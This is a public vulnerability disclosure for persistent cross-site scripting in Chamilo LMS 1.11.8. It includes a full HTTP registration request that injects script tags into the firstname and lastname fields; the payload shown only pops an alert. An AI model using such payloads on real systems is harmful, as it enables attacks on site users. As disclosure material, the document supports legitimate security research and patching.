Chamilo LMS 1.11.8 - 'firstname' Cross-Site Scripting

# Exploit Title: Chamilo LMS 1.11.8 - 'firstname' Cross-Site Scripting
# Author: Cakes
# Discovery Date: 2018-10-06
# Vendor Homepage: https://chamilo.org
# Software Link: https://github.com/chamilo/chamilo-lms/releases/download/v1.11.8/chamilo-1.11.8-php5.zip
# Tested Version: 1.11.8 for php5
# Tested on OS: Kali Linux
# CVE: N/A
  
# Description:
# Improper input validation on the Firstname and Lastname fields allow attackers to add a persistent 
# Cross-Site scripting attack when registering as a new user
# Simply intercept a new registration request and add in the XSS in the firstname / lastname fields.

# I'm sure there are more exploit vectors on this software. No time to check, had to move along.
  
# PoC

POST /chamillo/main/auth/inscription.php HTTP/1.1
Host: 10.0.0.16
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://10.0.0.16/chamillo/main/auth/inscription.php
Cookie: ch_sid=ac092r01e7cnoco62rejshocq4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213

status=5&firstname=<script>alert("Cakes");</script>&lastname=<script>alert("Cakes");</script>&email=cakes%40testers.com&username=cakez&pass1=123456&pass2=123456&phone=&language=english&official_code=&extra_skype=&extra_linkedin_url=&submit=&_qf__registration=&item_id=0